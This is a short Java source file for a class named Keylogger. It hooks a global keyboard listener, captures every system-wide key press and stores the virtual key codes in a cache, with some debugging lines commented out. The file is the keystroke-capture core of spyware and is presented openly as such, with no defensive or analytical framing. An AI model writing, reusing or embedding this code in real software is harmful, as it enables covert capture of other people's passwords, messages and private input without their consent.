public class Keylogger implements Runnable, KeyboardEventListener {

	private GlobalEventListener gl;
	private Cache cache;

	public Keylogger(Cache cache) {
		this.cache = cache;
	}

	public void run() {
		gl = new GlobalEventListener();
		gl.addKeyboardEventListener(this);
	}

	public void GlobalKeyPressed(KeyboardEvent event) {
		// synchronized (cache){ cache.notify(); }
		cache.add(event.getVirtualKeyCode());
		//System.out.println( cache.convert(event.getVirtualKeyCode()) );
	}

	public void GlobalKeyReleased(KeyboardEvent event) {
		// cache.add(event.getVirtualKeyCode());
	}

}
